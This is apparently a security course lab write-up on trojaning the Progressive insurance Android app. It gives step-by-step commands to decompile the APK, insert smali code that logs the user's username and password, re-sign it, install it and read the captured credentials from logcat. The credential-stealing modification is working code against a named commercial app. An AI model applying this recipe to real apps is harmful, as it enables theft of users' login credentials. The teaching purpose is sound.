M 401: Trojaning the Progressive App (20 pts)

What You Need for This Project

Purpose

To practice unpacking an unprotected app, modifying it, and creating a modified app. This should not be easy to do, but it is because many companies don't bother to obfuscate their Dalvik code.

Responsible Disclosure

I notified Progressive about this in 2015 but they did not fix it.

Setup

These instructions assume you have a setup as shown below, with a Windows or MacOS host system and Debian Linux and Android guest systems.

The guest systems may be running behind virtual routers, or in the cloud, so networking between the Debian and Android systems may be difficult.

Installing adb, jarsigner, and JDK

On Linux, execute these commands: 
sudo apt update
sudo apt install android-tools-adb -y

wget --no-check-certificate https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
wget --no-check-certificate https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.7.0.jar
mv apktool_2.7.0.jar apktool.jar
sudo mv apktool.jar /usr/bin
sudo mv apktool /usr/bin
sudo chmod +x /usr/bin/apktool*

sudo apt install default-jdk -y

Installing apktool

I got these instructions from here.

On Linux, execute these commands: 

sudo rm /usr/bin/apktool*

wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.12.1.jar
mv apktool_2.12.1.jar apktool.jar
sudo mv apktool* /usr/local/bin
sudo chmod +x /usr/local/bin/apktool*

sudo reboot
Log in again.

Execute this command: 

apktool --version
You should see version 2.12.1, as shown below.

Downloading the Progressive App on Linux

On Linux, execute this command: 
wget https://samsclass.info/128/proj/prog/base.apk

Disassembling the APK with apktool

On Linux, in a Terminal, execute this command:
apktool d -f -r base.apk
Apktool disassembles the app, as shown below.

Exploring the Smali Code

After decoding, the Dalvik bytecode appears in a folder named "base", in many subfolders, as shown below.

It might seem difficult to hunt through all those files and folders for important items, but it's easy to do because the code is not obfuscated, and contains easily-guessed object names.

Finding Interesting Code with Grep

Start in the directory containing your APK file, such as Downloads.

Execute this command:

grep -ir login . | grep password
This finds lines containing both "login" and "password", as shown below.

The lines are wide and wrap in a way that makes them difficult to read, so use "less" to clean them up:

grep -ir login . | grep password | less -S
Now it's easy to see that only a few files have interesting content. We'll edit the file highlighted in the image below.

Press Q to exit "less".

Viewing Smali Code

Execute this command:
nano ./base/smali_classes2/com/phonevalley/progressive/login/viewmodel/LoginViewModel.smali
The Smali file opens in nano. Type Ctrl+W to start a search. Type in this search string, as shown below.
loginOnlineAccount(

Press Enter. Type Ctrl+W again. Press Enter again.

You see the start of the ".method private loginOnlineAccount(" function, as shown below.

Inserting Trojan Code

We'll add code that puts the username and password into the log.

Notice the line highlighted in the image above that says:

.locals 5
That line reserves five local variables for use in this method. We need another variable to use, so change that line to: 
.locals 6
as shown below.

Scroll down a little, and look at the code below the ".line 434" mark, as shown below.

This code puts the username into variable v2 and the password into variable v3. All we need to do is to put those variables into the log.

Carefully insert this code after the second "check-cast" statement, as shown below. 

# TROJAN   
const-string v5, "TROJAN Stealing Progressive Credentials:"
invoke-static {v5, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
invoke-static {v5, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
# END OF TROJAN

Press Ctrl+X, Y, Enter to save the modified file.

Rebuilding the App

To build a new APK file from the modified code in the "base" directory,execute this command:
apktool b base
Apktool builds the app, as shown below.

Making a Code Signing Certificate

Android won't run unsigned apps, so we need a signing certificate.

Execute this command:

keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
A prompt asks for a "keystore password". Enter password twice.

Then a series of question asks for your name, etc. You can press Enter for each question except the last one, which you must answer yes to, as shown below.

Signing the New APK

Execute this command: 
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore base/dist/base.apk alias_name
When you are prompted to, enter the key store password of password

The app is signed, as shown below.

Moving the Modified App to your Android Device

Now you need to move the APK file you created from your Debian Linux system to your Android device.

On your Debian Linux system, execute these commnds: 

sudo apt update
sudo apt install apache2 -y
sudo cp base/dist/base.apk /var/www/html
ip a
Find the public IP address of your Debian Linux system, which usually starts with 192.

On your Android device, open a Web browser, and go to this URL, replacing the IP address with the correct IP address of your Debian Linux system:

http://192.168.3.110/base.apk
After downloading the base.apk file, open it and install the app.

Monitoring the Log

These commands are different for Windows and MacOS.

Follow the appropriate steps below to start monitoring the Android log for lines containing the word "TROJAN":

Windows Users

In a Command Prompt, execute these commands: 
cd
cd AppData\Local\Android\sdk\platform-tools
adb logcat | findstr TROJAN

MacOS Users

In a Terminal, execute these commands: 
cd
cd Library/Android/sdk/platform-tools
./adb logcat | grep TROJAN

Using the Modified App

On your Android device, open the Progressive app.

If an "Update Recommended" box appears, click "NO THANKS".

Enter fake credentials, using your name as the login name, as shown below. Click "Log in".

Viewing the Stolen Data

Your Terminal window should show the stolen data, as shown below.

M 401.1: Log Entry (20 pts)

Find the text covered by a green box in the image below. That's the flag.

Updated for modern setup 10-16-22
Install switch changed to -y on 10-22-22
Version of apktool updated 6-22-23
Video added 10-15-25
apache2 instructions added 10-16-25
Installing later version of apktool added 10-21-25